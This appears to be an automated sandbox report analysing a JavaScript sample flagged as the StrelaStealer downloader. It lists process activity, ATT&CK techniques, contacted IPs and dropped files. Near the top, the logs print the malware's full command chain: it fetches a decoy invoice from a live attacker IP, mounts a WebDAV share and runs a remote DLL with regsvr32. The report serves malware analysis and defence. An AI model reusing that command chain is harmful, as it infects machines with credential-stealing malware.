Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
16042278381135117219.js	5%	Virustotal		Browse
16042278381135117219.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/pacec	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/&	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2985468761.0000021A8D600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/&	net.exe, 00000006.00000002.1757111796.000001D5B3CBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1756213789.000001D5B3CBC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pacec	net.exe, 00000006.00000002.1757018581.000001D5B3C88000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1756730903.0000021A8D562000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1754802200.000001D5B3CDB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1757111796.000001D5B3CBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1757018581.000001D5B3C88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1756213789.000001D5B3CBC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1756730903.0000021A8D562000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588622
Start date and time:	2025-01-11 03:16:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	16042278381135117219.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 52.149.20.212, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:17:51	API Interceptor	23x Sleep call for process: powershell.exe modified
21:17:56	API Interceptor	1x Sleep call for process: net.exe modified
21:17:56	API Interceptor	2x Sleep call for process: svchost.exe modified
21:18:09	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1055116600916029869.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4328285711855619485.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073414053579069
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrI:KooCEYhgYEL0In
MD5:	7D3A2198AC0CBFF44C187E49BB8E2BF9
SHA1:	1E7E1FF64DD980EE44B8AA403ED4540B1090C238
SHA-256:	9A6E09A785C073CA190C1B66C5CB22E04943608A04BFD250FF84120760449C2F
SHA-512:	721E9DD2A98F6978F3A7500EC9CAEE0826D8CDA25CB8B4E984229DDE604E9447126864542CB046C0B38BAAC8BB503966BC04E0708365CA90A436C7C055B33E73
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x39006ff1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220978713285602
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
MD5:	BCFECBC01F40F5D83089125A9A750E21
SHA1:	52822C4F8DE9731A345D6D5FA385CDDA9247159B
SHA-256:	DB7095B49F1B4852D787638B91E7754A21896D42EE2DB9701429BC218BB7B3AC
SHA-512:	0B30FD4FDD105D693F3DF790BD3E745CB66FD55314040397E66C2170B0B906FF8F8AD05DBC8877033972E9E50471525A841888B456B6CFAC0E5A004579FB553C
Malicious:	false
Preview:	9.o.... .......A.......X\...;...{......................0.!..........{A.9....}a.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................w.9....}...................!..9....}a..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0764708888436741
Encrypted:	false
SSDEEP:	3:rmll/EYereojjn13a/7oxkDallcVO/lnlZMxZNQl:C/EzrDj53qUxhOewk
MD5:	2B33EF6584102503A51C92C951C3814A
SHA1:	12724DE5808D9E881E8942ED3C09FA33BBC8277D
SHA-256:	CF41FE71B4DA8084FD428F99D6AF0AA68E27364F65F3C27EE9DC662CD3A5FAAF
SHA-512:	4230216DC260212CBBEF4BAA4054E2850254DDABD27D8A0151790E274C41D242ABEF1083B499755F4991EC98D679C3ECFD0C6C41EC64629448C5F62C8BBA33D0
Malicious:	false
Preview:	.b]......................................;...{..9....}a......{A..............{A......{A..........{A].................!..9....}a.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1266462332289136
Encrypted:	false
SSDEEP:	6:iO4qwQUUq2Pwkn2nKuAl9OmbnIFUtSqwQ5uEvZZmwsqwQO7kwOwkn2nKuAl9Omb5:7uXUvYfHAahFUtMxUZ/qb5JfHAaSJ
MD5:	6518B61C923C2E370A6E9A7AD60F499F
SHA1:	B89B906438707318A78BCFDB34A6EB8EBF540F40
SHA-256:	83586991F678CE238111B77AF5590923572C8BFAEF685C4E0B18CD81397FADC1
SHA-512:	AEEB12753C68FB689F03349D3FC163CACB297636028965C13FBA6F793A80323CDF62ABB39AA12DCF4D5B0FB1EF43D0635CBD4DFC51DB0BE7CF3B7BE3589A3090
Malicious:	false
Preview:	2025/01/10-21:17:56.001 1c60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:17:56.004 1c60 Recovering log #3.2025/01/10-21:17:56.005 1c60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1266462332289136
Encrypted:	false
SSDEEP:	6:iO4qwQUUq2Pwkn2nKuAl9OmbnIFUtSqwQ5uEvZZmwsqwQO7kwOwkn2nKuAl9Omb5:7uXUvYfHAahFUtMxUZ/qb5JfHAaSJ
MD5:	6518B61C923C2E370A6E9A7AD60F499F
SHA1:	B89B906438707318A78BCFDB34A6EB8EBF540F40
SHA-256:	83586991F678CE238111B77AF5590923572C8BFAEF685C4E0B18CD81397FADC1
SHA-512:	AEEB12753C68FB689F03349D3FC163CACB297636028965C13FBA6F793A80323CDF62ABB39AA12DCF4D5B0FB1EF43D0635CBD4DFC51DB0BE7CF3B7BE3589A3090
Malicious:	false
Preview:	2025/01/10-21:17:56.001 1c60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:17:56.004 1c60 Recovering log #3.2025/01/10-21:17:56.005 1c60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.184963712421739
Encrypted:	false
SSDEEP:	6:iO4qwQcuM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqwQxoDmZmwsqwQxoDpMVkwOwknV:7u2M+vYfHAa8uFUtMbm/qbpMV5JfHAaU
MD5:	5AA8DBF59A27FAAC2022FA211299BE4A
SHA1:	219416ED3EA3C9B235690B349330D04E0803E3F0
SHA-256:	DB70A9604778A5A3A88FE52469C7E8162C99E18D83345CAA913BDA195B8E5CAF
SHA-512:	9B2D5E00A3075CC01CD1643D923BAD7E394551E6FDF5DE567B0FA81152F21F25172B5FDC2ED36A008424AE63A440CD353D1F23F0BCF9B0E4AAB7840ADA96F99A
Malicious:	false
Preview:	2025/01/10-21:17:56.038 7fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:17:56.040 7fc Recovering log #3.2025/01/10-21:17:56.040 7fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.184963712421739
Encrypted:	false
SSDEEP:	6:iO4qwQcuM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqwQxoDmZmwsqwQxoDpMVkwOwknV:7u2M+vYfHAa8uFUtMbm/qbpMV5JfHAaU
MD5:	5AA8DBF59A27FAAC2022FA211299BE4A
SHA1:	219416ED3EA3C9B235690B349330D04E0803E3F0
SHA-256:	DB70A9604778A5A3A88FE52469C7E8162C99E18D83345CAA913BDA195B8E5CAF
SHA-512:	9B2D5E00A3075CC01CD1643D923BAD7E394551E6FDF5DE567B0FA81152F21F25172B5FDC2ED36A008424AE63A440CD353D1F23F0BCF9B0E4AAB7840ADA96F99A
Malicious:	false
Preview:	2025/01/10-21:17:56.038 7fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:17:56.040 7fc Recovering log #3.2025/01/10-21:17:56.040 7fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\830f5e10-f170-4cf8-942c-5dd5bbe89688.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.955329463162928
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9EsBdOg2HZfcaq3QYiubInP7E4T3y:Y2sRdsSdMHZu3QYhbG7nby
MD5:	0FFD3151BCBDC18A410322EB413B1090
SHA1:	E7832933BE7AE30F515401D216D19AB2623B76F4
SHA-256:	19EB98B29C027068D442451FDF2B78BE5A84D12F8C358CBCF05BF34C294CAD91
SHA-512:	E9FB9883B7FEBAD2E1D459DD39680E6AEC1F78349FD428569D1CC80795D9D2FE827D660BA69D3F35360BD10B6925A98548BE33BE4A02DD8D911045C78D557102
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121888660431","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":173303},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.955329463162928
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9EsBdOg2HZfcaq3QYiubInP7E4T3y:Y2sRdsSdMHZu3QYhbG7nby
MD5:	0FFD3151BCBDC18A410322EB413B1090
SHA1:	E7832933BE7AE30F515401D216D19AB2623B76F4
SHA-256:	19EB98B29C027068D442451FDF2B78BE5A84D12F8C358CBCF05BF34C294CAD91
SHA-512:	E9FB9883B7FEBAD2E1D459DD39680E6AEC1F78349FD428569D1CC80795D9D2FE827D660BA69D3F35360BD10B6925A98548BE33BE4A02DD8D911045C78D557102
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121888660431","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":173303},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.248765617639899
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7xOSm:etJCV4FiN/jTN/2r8Mta02fEhgO73goq
MD5:	B44DE40AF073A9AB2D90BBECA6423FE4
SHA1:	8EE4BBDB8D8DCDB7177827823968D390158C7354
SHA-256:	AA32AA12259E1D5C96DBA190D1B3BA2BCA81FEE68BFF564F1AC346E754F645DF
SHA-512:	E38061533E0143DCE1D00DE9536A8A68C38CCE294679E7A796A299E7312BF366E0A089AD2A1A153E17805A23B0EC4CD3ACA21262ABA1583CF7AC9E87F071FBDD
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.188890726765939
Encrypted:	false
SSDEEP:	6:iO4qwQ0gM+q2Pwkn2nKuAl9OmbzNMxIFUtSqwQ0KqZmwsqwQ0hMVkwOwkn2nKuAo:7ulgM+vYfHAa8jFUtMl7/qlhMV5JfHAo
MD5:	DB3562C172968F4C9B50B9D52CAB8F1D
SHA1:	E942D43F3B44B4A743E639A3811C40F75C065534
SHA-256:	64B133B5B0F89C58C90B29A2A196413BF781D4033E8F0098C4E2D154892B55BA
SHA-512:	9BB20CA8AF6E9FB0C52659F6835F502790C1CCD3FDD0935671D6BD54DD55AB3806AEA2C6AC3C31B8E7EAD91978075D8E5A36E1337940EA93C49EEE3A91CBDFF5
Malicious:	false
Preview:	2025/01/10-21:17:56.180 7fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:17:56.182 7fc Recovering log #3.2025/01/10-21:17:56.183 7fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.188890726765939
Encrypted:	false
SSDEEP:	6:iO4qwQ0gM+q2Pwkn2nKuAl9OmbzNMxIFUtSqwQ0KqZmwsqwQ0hMVkwOwkn2nKuAo:7ulgM+vYfHAa8jFUtMl7/qlhMV5JfHAo
MD5:	DB3562C172968F4C9B50B9D52CAB8F1D
SHA1:	E942D43F3B44B4A743E639A3811C40F75C065534
SHA-256:	64B133B5B0F89C58C90B29A2A196413BF781D4033E8F0098C4E2D154892B55BA
SHA-512:	9BB20CA8AF6E9FB0C52659F6835F502790C1CCD3FDD0935671D6BD54DD55AB3806AEA2C6AC3C31B8E7EAD91978075D8E5A36E1337940EA93C49EEE3A91CBDFF5
Malicious:	false
Preview:	2025/01/10-21:17:56.180 7fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:17:56.182 7fc Recovering log #3.2025/01/10-21:17:56.183 7fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444689361159752
Encrypted:	false
SSDEEP:	384:yezci5tmiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rps3OazzU89UTTgUL
MD5:	F4421382DCB764E13C19A88C20E46C02
SHA1:	639745E064525D17B5E63EC772CF126C99E679B7
SHA-256:	4F036793E8CEB81E39ED5B5443CA2B79E36011D1944ACBB8F24A3FE9E7C7B72C
SHA-512:	808D553C129DE285F0FFAAF75597439747BC6C2F2855A0B2516804E1E045B2570DB1CA8330EAD894AC235EF2C7D910729DE3A44158F9DBC2DAA08CB8B75BB018
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.772375837049924
Encrypted:	false
SSDEEP:	48:7M3p/E2ioyVfioy9oWoy1Cwoy1nKOioy1noy1AYoy1Wioy1hioybioyroy1noy1/:7MpjufFOXKQ+zb9IVXEBodRBkD
MD5:	352DF9FFF4C39C4970EEFB0C42935311
SHA1:	78F9B7403A7FDF58720C6400B0F7F54B273713B0
SHA-256:	2F9951EAA29920BBE0B268420F4D69FFA1EB8B26E7A16D67C1844A1B15829F6A
SHA-512:	07A29D13315BC300A2628905604739312BCC1C7DADC34419B247742E8BB7C141D3D3CDD8106C826C20088151D88278C35768EAB4101FD529CEA7FF97BD9688DC
Malicious:	false
Preview:	.... .c......As................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
